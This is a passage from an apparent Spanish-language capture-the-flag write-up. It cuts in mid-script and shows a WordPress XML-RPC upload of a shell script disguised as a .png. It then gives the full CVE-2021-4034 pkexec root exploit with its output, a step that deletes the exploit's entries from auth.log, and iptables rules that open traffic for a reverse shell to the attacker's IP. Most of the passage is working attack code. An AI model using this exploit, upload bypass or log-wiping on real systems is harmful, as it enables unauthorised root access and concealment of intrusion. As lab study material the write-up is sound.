/tmp/al >/var/log/auth.log;"\n "id");\n\texit(0);\n}\nEOM\n\ncat > pkwner/exec.c <<- EOM\n#include <stdlib.h>\n#include <unistd.h>\nint main(){\n char *env[] = {"pkwner", "PATH=GCONV_PATH=.", "CHARSET=PKWNER",\n "SHELL=pkwner", NULL};\n execve("/usr/bin/pkexec", (char *[]){NULL}, env);\n}\nEOM\necho "[+] Build offensive gconv shared module..."\ngcc -fPIC -shared -o pkwner/pkwner.so pkwner/pkwner.c\necho "[+] Build mini executor..."\ngcc -o pkwner/executor pkwner/exec.c\n# export PATH="GCONV_PATH=."\n# export CHARSET="PKWNER"\n#export SHELL=pkwner\nPATH=\'GCONV_PATH=.\' ./pkwner/executor\necho "[+] Nice Job"\n'
>>> data_upload = { 'name': 'pkwner.sh', 'bits': filename, 'type': 'text/plain'}
>>> client.call(media.UploadFile(data_upload))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/miguel/.local/lib/python3.11/site-packages/wordpress_xmlrpc/base.py", line 37, in call
raw_result = server_method(*args)
^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/xmlrpc/client.py", line 1122, in __call__
return self.__send(self.__name, args)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/xmlrpc/client.py", line 1464, in __request
response = self.__transport.request(
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/xmlrpc/client.py", line 1166, in request
return self.single_request(host, handler, request_body, verbose)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/xmlrpc/client.py", line 1182, in single_request
return self.parse_response(resp)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/xmlrpc/client.py", line 1354, in parse_response
return u.close()
^^^^^^^^^
File "/usr/lib/python3.11/xmlrpc/client.py", line 668, in close
raise Fault(**self._stack[0])
xmlrpc.client.Fault: <Fault 500: 'Could not write file pkwner.sh (Sorry, you are not allowed to upload this file type.).'>
- Nos da un error no podemos subir ese tipo de archivo es por la extensión que tiene vamos a cambiarla para ver si nos deja.
>>> data_upload = { 'name': 'pkwner.png', 'bits': filename, 'type': 'text/plain'}
>>> client.call(media.UploadFile(data_upload))
{'attachment_id': '48', 'date_created_gmt': <DateTime '20240625T00:46:03' at 0x7f932bf77ed0>, 'parent': 0, 'link': '/wp-content/uploads/2024/06/pkwner.png', 'title': 'pkwner.png', 'caption': '', 'description': '', 'metadata': False, 'type': 'text/plain', 'thumbnail': '/wp-content/uploads/2024/06/pkwner.png', 'id': '48', 'file': 'pkwner.png', 'url': '/wp-content/uploads/2024/06/pkwner.png'}
- Tenemos la ruta donde se subió.
- Y funciona somos
root
ya que le dijimos que nos ejecutara el comandoid
.
➜ wordpress_xmlrpc rlwrap ./script.sh
$~ bash /var/www/html/wp-content/uploads/2024/06/pkwner.png
██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗
██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗
██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
CVE-2021-4034 PoC by Kim Schulz
[+] Setting up environment...
[+] Build offensive gconv shared module...
[+] Build mini executor...
uid=0(root) gid=0(root) groups=0(root),33(www-data)
hello[+] Nice Job
- Modificamos el script.
➜ content cat new.sh
#!/bin/bash
echo "██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗ "
echo "██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗"
echo "██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝"
echo "██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗"
echo "██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║"
echo "╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝"
echo "CVE-2021-4034 PoC by Kim Schulz"
# shell poc by Kim Schulz
echo "[+] Setting up environment..."
mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./pkwner'
chmod a+x 'GCONV_PATH=./pkwner'
mkdir -p pkwner
echo "module UTF-8// PKWNER// pkwner 2" > pkwner/gconv-modules
cat > pkwner/pkwner.c <<- EOM
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
printf("hello");
setuid(0); setgid(0);
seteuid(0); setegid(0);
system("PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin/:/usr/local/sbin;"
"rm -rf 'GCONV_PATH=.' 'pkwner';"
"cat /var/log/auth.log|grep -v pkwner >/tmp/al;cat /tmp/al >/var/log/auth.log;"
"cat /root/root.txt");
exit(0);
}
EOM
cat > pkwner/exec.c <<- EOM
#include <stdlib.h>
#include <unistd.h>
int main(){
char *env[] = {"pkwner", "PATH=GCONV_PATH=.", "CHARSET=PKWNER",
"SHELL=pkwner", NULL};
execve("/usr/bin/pkexec", (char *[]){NULL}, env);
}
EOM
echo "[+] Build offensive gconv shared module..."
gcc -fPIC -shared -o pkwner/pkwner.so pkwner/pkwner.c
echo "[+] Build mini executor..."
gcc -o pkwner/executor pkwner/exec.c
# export PATH="GCONV_PATH=."
# export CHARSET="PKWNER"
#export SHELL=pkwner
PATH='GCONV_PATH=.' ./pkwner/executor
echo "[+] Nice Job"
- Volvemos hacer todo el proceso en python3 y al final ejecutamos lo siguiente.
>>> data_upload = { 'name': 'new.png', 'bits': filename, 'type': 'text/plain'}
>>> client.call(media.UploadFile(data_upload))
{'attachment_id': '57', 'date_created_gmt': <DateTime '20240625T02:22:16' at 0x7fd3870a7750>, 'parent': 0, 'link': '/wp-content/uploads/2024/06/new.png', 'title': 'new.png', 'caption': '', 'description': '', 'metadata': False, 'type': 'text/plain', 'thumbnail': '/wp-content/uploads/2024/06/new.png', 'id': '57', 'file': 'new.png', 'url': '/wp-content/uploads/2024/06/new.png'}
- Vamos a ver la flag.
➜ content ./script.sh
$~ bash /var/www/html/wp-content/uploads/2024/06/new.png
██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗
██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗
██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
CVE-2021-4034 PoC by Kim Schulz
[+] Setting up environment...
[+] Build offensive gconv shared module...
[+] Build mini executor...
10b224d4bc6cab7b7fbd9f4deb10b9eb
hello[+] Nice Job
Para ganar
shell
hay que ejecutar 2 comandos deIPTables
para que acepte trafico de nuestra IP y poder entablar la reverseshell
.
iptables -A OUTPUT -p tcp -d 10.10.14.63 -j ACCEPT
iptables -A INPUT -p tcp -s 10.10.14.63 -j ACCEPT